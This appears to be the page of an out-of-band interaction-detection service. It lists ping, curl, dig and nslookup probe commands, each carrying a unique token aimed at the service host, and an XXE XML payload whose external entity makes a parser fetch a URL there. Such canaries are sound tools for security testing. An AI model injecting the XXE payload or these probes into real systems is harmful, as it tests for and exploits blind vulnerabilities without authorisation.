$ ping -c1 -p 000315037f151ff75bd5fa9aee9f4300 unhack.ca
 
$ curl http://unhack.ca/p/0315037f151ff75bd5fa9aee9f43
 
$ dig 0315037f151ff75bd5fa9aee9f43 @unhack.ca
 
$ dig 0315037f151ff75bd5fa9aee9f43.ns.unhack.ca
 
C:\> nslookup 0315037f151ff75bd5fa9aee9f43 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0315037f151ff75bd5fa9aee9f43">]>
    <foo>&xxe;</foo>
Waiting for ping...